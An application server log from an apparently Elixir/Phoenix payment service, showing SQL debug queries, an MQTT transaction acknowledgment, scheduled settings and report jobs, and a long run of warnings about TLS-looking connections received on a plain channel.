↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 13:41:47.898000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50680] QUERY OK source="brands" db=0.9ms queue=0.2ms idle=1374.4ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 13:41:47.899000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50680] QUERY OK source="user_metadata" db=0.7ms idle=1455.2ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 13:41:47.900000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50680] QUERY OK source="cloud_transaction" db=0.5ms idle=1376.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch242506966281"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 13:41:47.900000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50680] Sent 200 in 21ms
[Thu Sep  3 13:42:17.719000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch242506966281","money": "12200.0", "status": "SUCCESS" }
[Thu Sep  3 13:42:17.722000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch242506966281: %{"money" => "12200.0", "request_id" => "ch242506966281", "status" => "SUCCESS"}
[Thu Sep  3 13:42:17.722000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch242506966281 is success
[Thu Sep  3 13:42:17.737000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.5ms idle=1209.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch242506966281", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 13:42:17.743000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=5.0ms queue=0.1ms idle=1213.8ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-03 13:42:17], 4965]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 13:42:17.743000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch242506966281 updated to success/received
[Thu Sep  3 13:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1252.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 13:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1220.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 14:00:00.930000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1376.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 14:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 14:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1184.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 14:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1162.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 14:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.3ms idle=1135.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 14:30:00.203000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.2ms idle=1575.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 14:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 14:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1111.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 14:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1098.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 14:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1077.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 15:00:00.187000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=502.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 15:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 15:00:00.297000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=613.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 15:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 15:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1001.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 15:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1935.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 15:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1919.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 15:33:57.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.0:55492] GET /
[Thu Sep  3 15:33:57.548000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.0:55492] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 15:33:57.549000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.0:55492] Sent 200 in 1ms
[Thu Sep  3 15:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1909.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 15:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1881.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 15:55:42.283000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.286000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.287000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.287000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.288000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.289000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.290000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.294000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.297000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.298000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.298000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.305000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.306000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.306000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.307000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.307000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.307000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.308000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.310000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.311000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.311000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.311000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.312000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.313000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.312000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.313000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.315000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.316000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.316000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.318000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.319000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.320000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.550000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.551000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.552000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.553000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.553000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.556000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.557000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.558000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.561000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.565000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.567000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.569000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.569000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.570000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.570000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.570000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.572000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.572000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.573000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.572000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.573000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.573000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.574000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.573000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.574000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.574000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.574000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.574000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.576000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.577000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.579000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.579000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.580000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.580000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.582000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.583000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.586000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.808000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.811000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.814000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.814000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.817000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.818000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.820000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.820000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.821000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.826000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.827000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.831000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.831000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.832000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.833000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.833000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.835000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.835000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.835000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.837000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.837000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.837000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.838000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.839000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.839000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.840000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.842000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.842000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.842000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.843000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.843000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.842000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.845000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.845000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.846000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.845000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.846000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:42.848000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.069000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.075000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.077000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.079000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.080000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.081000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.082000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.084000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.086000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.086000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.093000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.095000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.095000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
